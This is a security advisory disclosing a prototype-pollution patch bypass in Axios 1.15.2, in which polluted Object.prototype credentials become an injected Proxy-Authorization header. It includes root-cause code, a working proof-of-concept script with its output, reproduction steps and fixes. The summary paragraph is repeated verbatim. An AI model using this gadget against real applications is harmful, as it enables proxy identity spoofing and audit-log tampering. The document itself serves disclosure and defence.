Axios: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix

Axios is a promise based HTTP client for the browser and Node.js. From 1.15.2 to before 1.16.0, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain. The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request. This vulnerability is fixed in 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. From 1.15.2 to before 1.16.0, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain. The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request. This vulnerability is fixed in 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. From 1.15.2 to before 1.16.0, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain. The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request. This vulnerability is fixed in 1.16.0.

# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2 ## Summary The `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain. The `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**. **Severity:** Medium (CVSS 5.4) **Affected Versions:** 1.15.2 (and potentially 1.15.1) **Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`) ## CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') ## CVSS 3.1 **Score: 5.6 (Medium)** Vector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the proxy authentication context | | Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) | | Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity | | Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail | ### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High) | Factor | GHSA-q8qp-cvcw-x6jj | This Finding | |---|---|---| | Precondition | **None** — all requests affected | Must have `config.proxy` set | | `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable | | `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** | | Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected | | Impact scope | Universal — every axios request | Only requests with explicit proxy config | ## This Is a Patch Bypass This vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc. However, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object. | Layer | Protection | Status | |---|---|---| | `config` (top-level) | `Object.create(null)` | ✓ Fixed | | `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** | | `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** | ## Root Cause Analysis ### Step 1: `utils.merge()` creates plain `{}` for nested objects **File:** `lib/utils.js`, line 406 ```javascript function merge(/* obj1, obj2, obj3, ... */) { const result = {}; // ← Plain object with Object.prototype! // ... } ``` When `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`. ### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty` **File:** `lib/adapters/http.js`, lines 209-223 ```javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { if (proxy.username) { // ← traverses Object.prototype! proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); } if (proxy.auth) { // ← traverses Object.prototype! const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password); if (validProxyAuth) { proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || ''); } // ... const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64'); options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED! } // ... } } ``` ### Complete Attack Chain ``` Object.prototype.username = 'attacker' Object.prototype.password = 'stolen-creds' │ ▼ User config: { proxy: { host: 'proxy.corp', port: 8080 } } │ ▼ mergeConfig() → utils.merge() → new plain {} config.proxy = { host: 'proxy.corp', port: 8080 } (own properties) config.proxy inherits from Object.prototype (has .username, .password) │ ▼ setProxy() at http.js:209: proxy.username → 'attacker' (from Object.prototype) → truthy! proxy.auth = 'attacker' + ':' + 'stolen-creds' │ ▼ http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Injected into EVERY proxied HTTP request! ``` ## Proof of Concept ```javascript import http from 'http'; import axios from './index.js'; // Proxy server logs received Proxy-Authorization const proxyServer = http.createServer((req, res) => { console.log('Proxy-Authorization:', req.headers['proxy-authorization']); res.writeHead(200); res.end('OK'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Target server const target = http.createServer((req, res) => { res.writeHead(200); res.end(); }); await new Promise(r => target.listen(0, r)); // Simulate prototype pollution from vulnerable dependency Object.prototype.username = 'attacker'; Object.prototype.password = 'stolen-creds'; // Developer sets proxy WITHOUT auth — expects no auth header await axios.get(`http://127.0.0.1:${target.address().port}/api`, { proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, }); // Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz // Decoded: attacker:stolen-creds delete Object.prototype.username; delete Object.prototype.password; proxyServer.close(); target.close(); ``` ## Reproduction Environment ``` Axios version: 1.15.2 (latest patched release) Node.js version: v20.20.2 OS: macOS Darwin 25.4.0 ``` ## Reproduction Steps ```bash # 1. Install axios 1.15.2 npm pack [email protected] tar xzf axios-1.15.2.tgz && mv package axios-1.15.2 cd axios-1.15.2 && npm install # 2. Save PoC as poc.mjs (code from Section 7 above) # 3. Run node poc.mjs ``` ## Verified PoC Output ``` === Axios 1.15.2: PP → Proxy-Authorization Injection === [1] Normal request with proxy (no auth): Proxy-Authorization: none [2] Prototype Pollution: Object.prototype.username = "attacker" Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Decoded: attacker:stolen-creds → PP injected proxy credentials: attacker:stolen-creds [3] Impact: ✗ Attacker injects Proxy-Authorization into all proxied requests ✗ If proxy logs auth, attacker credential appears in proxy logs ✗ If proxy authenticates based on this, attacker controls proxy identity ✗ Works on 1.15.2 despite null-prototype config fix ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype ``` ### Confirming the Bypass Mechanism ``` Direct PP (config.proxy) — BLOCKED by 1.15.2: Object.prototype.proxy = { host: 'evil' } config.proxy = undefined ← null-prototype blocks ✓ Nested PP (proxy.username) — BYPASSES 1.15.2: Object.prototype.username = 'attacker' config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties config.proxy own keys: ['host', 'port'] ← username NOT own config.proxy.username = 'attacker' ← inherited from Object.prototype! hasOwn(config.proxy, 'username') = false ``` ``` ## Impact Analysis - **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity. - **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation. - **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain. - **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments. ### Prerequisite - Application must use `config.proxy` (explicit proxy configuration) - A separate prototype pollution vulnerability must exist in the dependency tree - `Object.prototype.username` or `Object.prototype.auth` must be polluted ## Recommended Fix ### Fix 1: Use `hasOwnProperty` in `setProxy()` ```javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key); if (hasOwn(proxy, 'username')) { proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); } if (hasOwn(proxy, 'auth')) { // ... existing auth handling ... } } } ``` ### Fix 2: Use null-prototype objects in `utils.merge()` ```javascript // lib/utils.js line 406 function merge(/* obj1, obj2, obj3, ... */) { const result = Object.create(null); // ← null-prototype for nested objects too // ... } ``` ### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()` ## References - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [Axios GitHub Repository](https://github.com/axios/axios)